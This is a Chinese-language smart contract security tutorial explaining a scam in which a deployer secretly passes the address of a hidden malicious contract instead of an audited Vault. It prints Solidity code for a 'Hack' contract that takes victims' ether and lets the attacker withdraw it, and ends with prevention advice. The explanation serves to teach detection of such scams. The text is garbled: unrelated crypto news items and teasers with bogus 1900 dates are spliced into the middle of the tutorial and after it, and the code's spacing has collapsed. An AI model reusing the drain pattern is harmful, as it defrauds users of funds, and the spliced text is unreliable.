概述
上期我們了解了利用tx.origin進行釣魚的攻擊手法,本期我們來帶大家了解一下如何識別在合約中隱藏的惡意代碼。
前置知識
大家還記得之前幾期部署攻擊合約時我們會傳入目標合約的地址,在攻擊合約中就可以調用目標合約中的函數嗎,有些攻擊者會利用這一點欺騙受害者。比如部署一個A合約并告訴受害者我們會在部署A合約的構造函數中傳入B合約的地址并將B合約開源,其實我們會在部署A合約時傳入C合約的地址,如果受害者完全信任我們沒有檢查部署A合約的那筆交易,我們就完美的將惡意代碼隱藏在了C合約中。我們可以從下圖來理解這個邏輯:
用戶以為的調用路徑:
部署合約A傳入合約B地址,這樣調用路徑為正常路徑。
實際的調用路徑:
小蜜蜂Bee智能合約已通過知道創宇安全審計:據官網消息,知道創宇近日已完成小蜜蜂Bee智能合約項目的安全審計服務。
據介紹,小蜜蜂Bee是基于波場底層打造的第二代DeFi協議。旨在改善上一代DeFi協議在交易速度、成本等方面,面臨的一些固有挑戰,突破較大規模 DeFi 應用的瓶頸。
小蜜蜂Bee將于2020年10月15日晚20:00開啟創世挖礦,目前小蜜蜂Bee已上線bitkeep錢包defi專欄推薦位,并已在Justswap開啟流通。小蜜蜂Bee無ICO、零預挖且零私募,社區高度自治。
?合約地址:TNUXHrnHFJ89cgT8kCLmxYCVj3PeEqyJ4C[2020/10/13]
部署合約A傳入合約C地址,這樣調用路徑為非正常路徑。
下面我們使用一個簡單的例子來分析這個騙局:
惡意代碼
//SPDX-License-Identifier:MITpragmasolidity^0.8.13;contractMoneyMaker{??Vaultvault;??constructor(address_vault){????vault=Vault(payable(_vault));??}??functionmakeMoney(addressrecipient)publicpayable{????require(msg.value>=1,"Youaresopoor!");????uint256amount=msg.value*2;????(boolsuccess,)=address(vault).call{value:msg.value,gas:2300}("");????require(success,"Sendfailed");????vault.transfer(recipient,amount);??}}contractVault{??addressprivatemaker;??addressprivateowner;??uint256transferGasLimit;??constructor()payable{????owner=msg.sender;????transferGasLimit=2300;??}??modifierOnlyMaker(){????require(msg.sender==maker,"NotMoneyMakercontract!");????_;??}??modifierOnlyOwner(){????require(msg.sender==owner,"Notowner!");????_;??}??functionsetMacker(address_maker)publicOnlyOwner{????maker=_maker;??}??functiontransfer(addressrecipient,uint256amount)externalOnlyMaker{????require(amount<=address(this).balance,"GameOver~");????(boolsuccess,)=recipient.call{value:amount,gas:transferGasLimit}(??????""????);????require(success,"Sendfailed");??}??functionwithrow()publicOnlyOwner{????(boolsuccess,)=owner.call{??????value:address(this).balance,??????gas:transferGasLimit????}("");????require(success,"Sendfailed");??}??receive()externalpayable{}??fallback()externalpayable{}}//ThiscodeishiddeninaseparatefilecontractHack{??eventtaunt(stringmessage);??addressprivateevil;??constructor(address_evil){????evil=_evil;??}??modifierOnlyEvil(){????require(msg.sender==evil,"Whatareyoudoing?");????_;??}??functiontransfer()publicpayable{????emittaunt("Haha,youretherismine!");??}??functionwithrow()publicOnlyEvil{????(boolsuccess,)=evil.call{value:address(this).balance,gas:2300}(??????""????);????require(success,"Sendfailed");??}??receive()externalpayable{}??fallback()externalpayable{}}
動態 | 研發團隊實現可以進行數字資產保密交易的智能合約:據trustnodes消息,一個編碼器團隊實現了一個叫阿茲特克協議的智能合約,該合約可以對Ethereum上的任何通用數字資產(包括現有資產)進行保密交易。為了證明實現了阿茲特克協議,研發團隊在MakerDAO的DAI令牌上附加了一個阿茲特克令牌。智能合約可以用來將DAI從它的ERC-20公共表單轉換為一個機密的阿茲特克表單。[2018/12/2]
騙局分析
可以看到,上述代碼中存在三個合約,我們先結合前置知識中的A,B,C三個角色來區分三個合約分別代表什么角色:
MoneyMaker合約代表A合約;
Vault合約代表B合約;
Hack合約代表C合約。
所以用戶以為的調用路徑為:
MoneyMaker->Vault。
而實際的調用路徑為:
動態 | 媒體區塊鏈通過智能合約的形式可應用于數字版權等傳媒領域:人民網刊文,區塊鏈技術由互聯網金融縱深發展而來,相較于傳統的“廠商-中間商-消費者”,區塊鏈技術成為了新的中間商,通過簡化廠商與消費者之間的機構,來實現去中心化的、更為透明的、更為精準的“分布式記賬”,媒體區塊鏈通過智能合約的形式可應用于內容付費、數字版權、信息共享、廣告精準投放等傳媒領域。[2018/9/19]
MoneyMaker->Hack。
下面我們來看看攻擊者如何完成騙局的:
1.Evil部署Vault(B)合約并在合約中留存100ETH資金,在鏈上將Vault(B)合約開源;
2.Evil部署Hack(C)惡意合約;
3.Evil放出消息說他將會部署一個開源的賺錢MoneyMaker(A)合約,部署時會將Vault(B)合約地址傳入且會調用Vault.setMacker()將maker角色設置為MoneyMaker合約地址,任何人調用MoneyMaker.makeMoney()向合約中打入不少于一個以太都會得到雙倍以太的回報;
賽伯樂投資總裁陳斌:區塊鏈帶來了信任、交易和智能合約:26日下午,在全球區塊鏈(杭州)高峰論壇的圓桌會議上,賽伯樂投資總裁陳斌表示,我們去年投了很多和支付相關的,因為支付是整個供應鏈的生命線,是一個基因不斷在蠕動,抓住了支付就抓住了很多產業鏈核心的東西,所有的合約、所有的商務條件最后在支付中都會知道展示,所以智能合約里的很多東西我覺得是非常有亮點的,因為本質來說區塊鏈比互聯網、TCPIP協議里增加三個東西:信任、交易、智能合約。[2018/3/26]
4.Bob收到消息,了解到MoneyMaker合約的存在,他看了MoneyMaker(A)和Vault(B)合約的代碼并檢查了Vault(B)合約中的余額發現邏輯確實如Evil說的那樣,他在沒有檢查MoneyMaker(A)部署交易的情況下就相信了Evil;
5.Bob調用MoneyMaker.makeMoney()向合約中打入自己全部身家20ETH,在他滿懷期待等著收到Vault(B)打來的40ETH時等來的卻是一句"Haha,youretherismine!"。
香港區塊鏈解決方案提供商300cubits完成基于以太坊區塊鏈智能合約的首次貨物運輸試驗:香港區塊鏈解決方案提供商300cubits宣布,已完成基于以太坊區塊鏈智能合約的首次貨物運輸試驗。馬來西亞班輪公司West Port和巴西紡織產品進口商LPR參與本次試驗。300cubits引入TEU代幣,并稱之為“航運業的比特幣”,作為集裝箱運輸的訂艙保證金,以解決集裝箱運輸行業存在的“空殼預訂”和班輪公司甩艙的問題。[2018/3/20]
咋回事呢?其實這個騙局非常簡單但是很常見。Evil在部署MoneyMaker合約時傳入的并不是Vault合約的地址,而是傳入了Hack合約的地址。所以當Bob調用MoneyMaker.makeMoney()時并不會像他想像中的那樣MoneyMaker.makeMoney()去調用Vault.transfer()回打給他雙倍的以太,而是調用了Hack.transfer()拋出了一個事件:"Haha,youretherismine!"。最后Evil調用Vault.withrow()將Vault合約中的100ETH轉出,并通過Hack.withrow()將Bob轉入的20ETH轉出。
預防建議
以太坊黑暗森林中你能相信的只有自己,不要相信任何人精彩的話術,交易記錄不會造假,只有自己驗證了對應的那筆交易后才能相信對方說的話是對的。
編譯:李科,panews? 混合式zkRollup 以太坊上的數據都是公開的,但很多數據和交易有隱私的需求,基于此Aztec推出了透明+隱私混合式zkRollup.
1900/1/1 0:00:00圖片來源:由無界AI工具生成5月10日,在北京康萊德酒店,一場AIGC峰會如期召開。這僅僅是過去半年海量AIGC大會的冰山一角.
1900/1/1 0:00:00據Bitcoinist8月26日消息,12歲程序員BenyaminAhmed于今年7月發布的第二個NFT收藏品WeirdWhales,在不到一天的時間里3350條像素鯨魚售罄.
1900/1/1 0:00:00來源:法制日報 對AIGC監管的相關問題需要考慮四個方面,一是監管何時介入,需要考慮技術的負外部性導致的風險程度高低;二是監管對象的選擇,是選擇技術和服務本身.
1900/1/1 0:00:00撰文:EigenPhi?編譯:Luffy,ForesightNews以太坊地址Jaredfromsubway.eth的MEV機器人在三個月內賺取了630萬美元.
1900/1/1 0:00:00據Newsbitcoin10月13日消息,西班牙央行近日發布了一份題為“加密資產作為法定貨幣的作用:薩爾瓦多的例子”的報告,對薩爾瓦多采用比特幣作為法定貨幣進行了審查和反思.
1900/1/1 0:00:00